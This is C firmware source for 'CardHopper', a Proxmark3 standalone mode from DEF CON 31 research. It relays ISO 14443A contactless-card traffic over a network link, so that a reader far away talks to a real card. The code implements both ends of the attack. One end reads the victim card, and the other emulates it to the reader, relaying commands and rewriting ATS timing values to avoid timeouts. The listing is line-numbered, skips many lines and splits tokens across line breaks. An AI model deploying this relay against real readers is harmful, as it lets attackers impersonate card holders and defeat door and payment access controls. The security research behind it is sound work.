2 * hf_cardhopper standalone mode by Sam Haskins
4 * A component of our (me + Trevor Stevado) research on long-range relay
5 * attacks against 14a-based protocols (as presented at DEF CON '31).
6 * Works with a CardHopper (recommended) or BlueShark add-on.
8 * If you're reading this, you're clearly a very interesting person---
9 * do reach out if you get any fun results? [ sam AT loudmouth DOT io ]
10 * Good luck, and may the odds be ever in your favour!
12 * The companion Android app is available on our gitlab: gitlab.com/loudmouth-security
14 * For more information, see: https://media.defcon.org/DEF%20CON%2031/DEF%20CON%2031%20presentations/Trevor%20Stevado%20Sam%20Haskins%20-%20Unlocking%20Doors%20from%20Half%20a%20Continent%20Away.pdf
22 #include "fpgaloader.h"
23 #include "iso14443a.h"
24 #include "protocols.h"
25 #include "proxmark3_arm.h"
26 #include "standalone.h"
34 #define cardhopper_write usb_write
35 #define cardhopper_read usb_read_ng
36 bool cardhopper_data_available(void);
37 bool cardhopper_data_available(void) {
38 return usb_read_ng_has_buffered_data() || usb_poll_validate_length();
41 #define cardhopper_write usart_writebuffer_sync
42 #define cardhopper_read usart_read_ng
43 #define cardhopper_data_available usart_rxdata_available
47 DbpString(" HF - Long-range relay 14a over serial<->IP - a.k.a. CardHopper (Sam Haskins)");
51 typedef struct PACKED
{
57 static const uint8_t magicREAD
[4] = "READ";
58 static const uint8_t magicCARD
[4] = "CARD";
59 static const uint8_t magicEND
[4] = "\xff" "END";
60 static const uint8_t magicRSRT
[7] = "RESTART";
61 static const uint8_t magicERR
[4] = "\xff" "ERR";
62 static uint8_t magicACK
[1] = "\xfe"; // is constant, but must be passed to API that doesn't like that
64 // Forward declarations
65 static void become_reader(void);
66 static void select_card(void);
68 static void become_card(void);
69 static void prepare_emulation(uint8_t *, uint16_t *, uint8_t *, packet_t
*);
70 static void cook_ats(packet_t
*, uint8_t, uint8_t);
71 static bool try_use_canned_response(const uint8_t *, int, tag_response_info_t
*);
72 static void reply_with_packet(packet_t
*);
74 static void read_packet(packet_t
*);
75 static void write_packet(packet_t
*);
77 static bool GetIso14443aCommandFromReaderInterruptible(uint8_t *, uint16_t, uint8_t *, int *);
81 // Ensure debug logs don't polute stream
83 g_reply_via_usb
= false;
84 g_reply_via_fpc
= true;
86 g_reply_via_usb
= true;
87 g_reply_via_fpc
= false;
91 DbpString(_CYAN_("[@]") " CardHopper has started - waiting for mode");
92 FpgaDownloadAndGo(FPGA_BITSTREAM_HF
);
97 // Indicate we are alive and in CardHopper
105 packet_t modeRx
= { 0 };
106 read_packet(&modeRx
);
108 if (BUTTON_PRESS()) {
109 DbpString(_CYAN_("[@]") " Button pressed - Breaking from mode loop");
113 if (modeRx
.len
== 0) {
114 DbpString(_CYAN_("[@]") " Zero length message");
118 if (modeRx
.len
== sizeof(magicREAD
) && memcmp(magicREAD
, modeRx
.dat
, sizeof(magicREAD
)) == 0) {
119 DbpString(_CYAN_("[@]") " I am a READER. I talk to a CARD.");
121 } else if (modeRx
.len
== sizeof(magicCARD
) && memcmp(magicCARD
, modeRx
.dat
, sizeof(magicCARD
)) == 0) {
122 DbpString(_CYAN_("[@]") " I am a CARD. I talk to a READER.");
124 } else if (modeRx
.len
== sizeof(magicEND
) && memcmp(magicEND
, modeRx
.dat
, sizeof(magicEND
)) == 0) {
126 } else if (modeRx
.len
== sizeof(magicRSRT
) && memcmp(magicRSRT
, modeRx
.dat
, sizeof(magicRSRT
)) == 0) {
127 DbpString(_CYAN_("[@]") " Got RESET but already reset.");
130 DbpString(_YELLOW_("[!]") " unknown mode!");
131 Dbhexdump(modeRx
.len
, modeRx
.dat
, true);
135 DbpString(_CYAN_("[@]") " exiting ...");
136 FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF
);
141 static void become_reader(void) {
142 iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD
);
143 select_card(); // also sends UID, ATS
145 DbpString(_CYAN_("[@]") " entering reader main loop ...");
146 packet_t packet
= { 0 };
147 packet_t
*rx
= &packet
;
148 packet_t
*tx
= &packet
;
149 uint8_t toCard
[256] = { 0 };
150 uint8_t parity
[MAX_PARITY_SIZE
] = { 0 };
156 if (rx
->len
== sizeof(magicRSRT
) && memcmp(magicRSRT
, rx
->dat
, sizeof(magicRSRT
)) == 0) break;
158 if (BUTTON_PRESS()) {
159 DbpString(_CYAN_("[@]") " Button pressed - Breaking from reader loop");
163 if (rx
->dat
[0] == ISO14443A_CMD_RATS
&& rx
->len
== 4) {
164 // got RATS from reader, reset the card
165 FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF
);
167 iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD
);
169 // re-select the card without RATS to allow replaying the real RATS
170 int ret
= iso14443a_select_card(NULL
, NULL
, NULL
, true, 0, true);
171 if (ret
&& ret
!= 1) {
172 Dbprintf(_RED_("[!]") " Error selecting card: %d", ret
);
177 memcpy(toCard
, rx
->dat
, rx
->len
);
178 AddCrc14A(toCard
, rx
->len
);
179 ReaderTransmit(toCard
, rx
->len
+ 2, NULL
);
181 tx
->len
= ReaderReceive(tx
->dat
, sizeof(tx
->dat
), parity
);
183 tx
->len
= sizeof(magicERR
);
184 memcpy(tx
->dat
, magicERR
, sizeof(magicERR
));
185 } else tx
->len
-= 2; // cut off the CRC
192 static void select_card(void) {
193 iso14a_card_select_t card
= { 0 };
197 int ret
= iso14443a_select_card(NULL
, &card
, NULL
, true, 0, false);
199 Dbprintf(_RED_("[!]") " Error selecting card: %d", ret
);
205 DbpString(_CYAN_("[@]") " UID:");
206 Dbhexdump(card
.uidlen
, card
.uid
, false);
207 DbpString(_CYAN_("[@]") " ATS:");
208 Dbhexdump(card
.ats_len
- 2 /* no CRC */, card
.ats
, false);
211 tx
.len
= card
.uidlen
;
212 memcpy(tx
.dat
, card
.uid
, tx
.len
);
215 tx
.len
= card
.ats_len
- 2;
216 memcpy(tx
.dat
, card
.ats
, tx
.len
);
221 static void become_card(void) {
222 iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN
);
226 uint8_t data
[PM3_CMD_DATA_SIZE
] = { 0 };
227 packet_t ats
= { 0 };
228 prepare_emulation(&tagType
, &flags
, data
, &ats
);
230 tag_response_info_t
*canned
;
232 uint32_t counters
[3] = { 0 };
233 uint8_t tearings
[3] = { 0xbd, 0xbd, 0xbd };
235 SimulateIso14443aInit(tagType
, flags
, data
, NULL
, 0, &canned
, &cuid
, counters
, tearings
, &pages
);
237 DbpString(_CYAN_("[@]") " Setup done - entering emulation loop");
239 uint8_t fromReaderDat
[256] = { 0 };
240 uint8_t parity
[MAX_PARITY_SIZE
] = { 0 };
241 packet_t packet
= { 0 };
242 packet_t
*tx
= &packet
;
243 packet_t
*rx
= &packet
;
248 if (!GetIso14443aCommandFromReaderInterruptible(fromReaderDat
, sizeof(fromReaderDat
), parity
, &fromReaderLen
)) {
249 if (cardhopper_data_available()) {
251 if (memcmp(magicRSRT
, rx
->dat
, sizeof(magicRSRT
)) == 0) {
252 DbpString(_CYAN_("[@]") " Breaking from emulation loop");
255 } else if (BUTTON_PRESS()) {
256 DbpString(_CYAN_("[@]") " Button pressed - Breaking from emulation loop");
262 // Option 1: Use a canned response
263 if (try_use_canned_response(fromReaderDat
, fromReaderLen
, canned
)) continue;
265 // Option 2: Reply with our cooked ATS
266 bool no_reply
= false;
267 if (fromReaderDat
[0] == ISO14443A_CMD_RATS
&& fromReaderLen
== 4) {
268 reply_with_packet(&ats
);
270 // fallthrough to still send the RATS to the card so it can learn the CID
271 // but don't send the reply since we've already sent our cooked ATS
275 // Option 3: Relay the message
276 tx
->len
= fromReaderLen
- 2; // cut off the crc
277 memcpy(tx
->dat
, fromReaderDat
, tx
->len
);
281 if (!no_reply
&& rx
->len
> 0) {
282 reply_with_packet(rx
);
288 static void prepare_emulation(uint8_t *tagType
, uint16_t *flags
, uint8_t *data
, packet_t
*ats
) {
289 packet_t tagTypeRx
= { 0 };
290 read_packet(&tagTypeRx
);
291 packet_t timeModeRx
= { 0 };
292 read_packet(&timeModeRx
);
293 packet_t uidRx
= { 0 };
297 *tagType
= tagTypeRx
.dat
[0];
298 Dbprintf(_CYAN_("[@]") " Using tag type: %hhu", *tagType
);
300 DbpString(_CYAN_("[@]") " Time control parameters:");
301 Dbhexdump(timeModeRx
.len
, timeModeRx
.dat
, false);
302 uint8_t fwi
= timeModeRx
.dat
[0] & 0x0f;
303 uint8_t sfgi
= timeModeRx
.dat
[1] & 0x0f;
304 Dbprintf(_CYAN_("[@]") " Parsed as fwi = %hhu, sfgi = %hhu", fwi
, sfgi
);
307 DbpString(_YELLOW_("[!]") " Refusing to use 15 as FWI - will use 14");
311 DbpString(_YELLOW_("[!]") " Refusing to use 15 as SFGI - will use 14");
315 memcpy(data
, uidRx
.dat
, uidRx
.len
);
316 FLAG_SET_UID_IN_DATA(*flags
, uidRx
.len
);
317 DbpString(_CYAN_("[@]") " UID:");
318 Dbhexdump(uidRx
.len
, data
, false);
319 Dbprintf(_CYAN_("[@]") " Flags: %hu", *flags
);
321 DbpString(_CYAN_("[@]") " Original ATS:");
322 Dbhexdump(ats
->len
, ats
->dat
, false);
323 cook_ats(ats
, fwi
, sfgi
);
324 DbpString(_CYAN_("[@]") " Cooked ATS:");
325 Dbhexdump(ats
->len
, ats
->dat
, false);
329 static void cook_ats(packet_t
*ats
, uint8_t fwi
, uint8_t sfgi
) {
330 if (ats
->len
!= ats
->dat
[0]) {
331 DbpString(_RED_("[!]") " Malformed ATS - unable to cook; things may go wrong!");
335 uint8_t t0
= 0x70; // TA, TB, and TC transmitted, FSCI nibble set later
336 uint8_t ta
= 0x80; // only 106kbps rate supported, and must be same in both directions - PM3 doesn't support any other rates
337 uint8_t tb
= (fwi
<< 4) | sfgi
; // cooked value
340 uint8_t historical_len
= 0;
341 uint8_t *historical_bytes
;
343 // T0 byte exists when ats length > 1
345 uint8_t orig_t0
= ats
->dat
[1];
346 // Update FSCI in T0 from the received ATS
347 t0
|= orig_t0
& 0x0F;
349 uint8_t len
= ats
->len
- 2;
350 uint8_t *orig_ats_ptr
= &ats
->dat
[2];
351 if (orig_t0
& 0x10) {
354 DbpString(_RED_("[!]") " Malformed ATS - unable to cook; things may go wrong!");
360 if (orig_t0
& 0x20) {
363 DbpString(_RED_("[!]") " Malformed ATS - unable to cook; things may go wrong!");
369 if (orig_t0
& 0x40) {
370 // TC present, extract protocol parameters
372 DbpString(_RED_("[!]") " Malformed ATS - unable to cook; things may go wrong!");
380 historical_bytes
= orig_ats_ptr
;
381 historical_len
= len
;
383 // T0 byte missing, update FSCI in T0 to the default value of 2
387 packet_t cooked_ats
= { 0 };
388 cooked_ats
.len
= 5 + historical_len
;
389 cooked_ats
.dat
[0] = cooked_ats
.len
;
390 cooked_ats
.dat
[1] = t0
;
391 cooked_ats
.dat
[2] = ta
;
392 cooked_ats
.dat
[3] = tb
;
393 cooked_ats
.dat
[4] = tc
;
395 if (historical_len
> 0) {
396 memcpy(cooked_ats
.dat
+ 5, historical_bytes
, historical_len
);
399 memcpy(ats
, &cooked_ats
, sizeof(packet_t
));
403 static bool try_use_canned_response(const uint8_t *dat
, int len
, tag_response_info_t
*canned
) {
404 if ((dat
[0] == ISO14443A_CMD_REQA
|| dat
[0] == ISO14443A_CMD_WUPA
) && len
== 1) {
405 EmSendPrecompiledCmd(canned
+ RESP_INDEX_ATQA
);
409 if (dat
[1] == 0x20 && len
== 2) {
410 if (dat
[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT
) {
411 EmSendPrecompiledCmd(canned
+ RESP_INDEX_UIDC1
);
413 } else if (dat
[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2
) {
414 EmSendPrecompiledCmd(canned
+ RESP_INDEX_UIDC2
);
416 } else if (dat
[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_3
) {
417 EmSendPrecompiledCmd(canned
+ RESP_INDEX_UIDC3
);
422 if (dat
[1] == 0x70 && len
== 9) {
423 if (dat
[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT
) {
424 EmSendPrecompiledCmd(canned
+ RESP_INDEX_SAKC1
);
426 } else if (dat
[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2
) {
427 EmSendPrecompiledCmd(canned
+ RESP_INDEX_SAKC2
);
429 } else if (dat
[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_3
) {
430 EmSendPrecompiledCmd(canned
+ RESP_INDEX_SAKC3
);
435 // high nibble of PPS is PPS CMD, low nibble of PPS is CID
436 if ((dat
[0] & 0xF0) == ISO14443A_CMD_PPS
) {
437 EmSendPrecompiledCmd(canned
+ RESP_INDEX_PPS
);
441 // No response is expected to these 14a commands
442 if ((dat
[0] & 0xF7) == ISO14443A_CMD_WTX
) return true; // bit 0x08 indicates CID following
443 if (dat
[0] == ISO14443A_CMD_HALT
&& len
== 4) return true;
445 // Ignore Apple ECP2 polling
446 if (dat
[0] == ECP_HEADER
) return true;
452 static uint8_t g_responseBuffer
[512 ] = { 0 };
453 static uint8_t g_modulationBuffer
[1024] = { 0 };
455 static void reply_with_packet(packet_t
*packet
) {
456 tag_response_info_t response
= { 0 };
457 response
.response
= g_responseBuffer
;
458 response
.modulation
= g_modulationBuffer
;
460 memcpy(response
.response
, packet
->dat
, packet
->len
);
461 AddCrc14A(response
.response
, packet
->len
);
462 response
.response_n
= packet
->len
+ 2;
464 prepare_tag_modulation(&response
, sizeof(g_modulationBuffer
));
465 EmSendPrecompiledCmd(&response
);
469 static void read_packet(packet_t
*packet
) {
470 while (!cardhopper_data_available()) {
473 if (BUTTON_PRESS()) {
474 DbpString(_CYAN_("[@]") " Button pressed while waiting for packet - aborting");
479 cardhopper_read((uint8_t *) &packet
->len
, 1);
481 uint32_t dataReceived
= 0;
482 while (dataReceived
!= packet
->len
) {
483 while (!cardhopper_data_available()) {
485 if (BUTTON_PRESS()) {
486 DbpString(_CYAN_("[@]") " Button pressed while reading packet - aborting");
491 dataReceived
+= cardhopper_read(packet
->dat
+ dataReceived
, packet
->len
- dataReceived
);
493 if (packet
->len
== 0x50 && dataReceived
>= sizeof(PacketResponseNGPreamble
) && packet
->dat
[0] == 0x4D && packet
->dat
[1] == 0x33 && packet
->dat
[2] == 0x61) {
494 // PM3 NG packet magic
495 DbpString(_CYAN_("[@]") " PM3 NG packet received - ignoring");
497 // clear any remaining buffered data
498 while (cardhopper_data_available()) {
499 cardhopper_read(packet
->dat
, 255);
506 cardhopper_write(magicACK
, sizeof(magicACK
));
510 static void write_packet(packet_t
*packet
) {
511 cardhopper_write((uint8_t *) packet
, packet
->len
+ 1);
515 static bool GetIso14443aCommandFromReaderInterruptible(uint8_t *received
, uint16_t received_max_len
, uint8_t *par
, int *len
) {
517 FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A
| FPGA_HF_ISO14443A_TAGSIM_LISTEN
);
519 Uart14aInit(received
, received_max_len
, par
);
521 uint8_t b
= (uint8_t)AT91C_BASE_SSC
->SSC_RHR
;
525 uint16_t checker
= 4000;
530 if (cardhopper_data_available() || BUTTON_PRESS())
536 if (checker
-- == 0) {
541 if (AT91C_BASE_SSC
->SSC_SR
& (AT91C_SSC_RXRDY
)) {
542 b
= (uint8_t)AT91C_BASE_SSC
->SSC_RHR
;
543 if (MillerDecoding(b
, 0)) {
544 *len
= GetUart14a()->len
;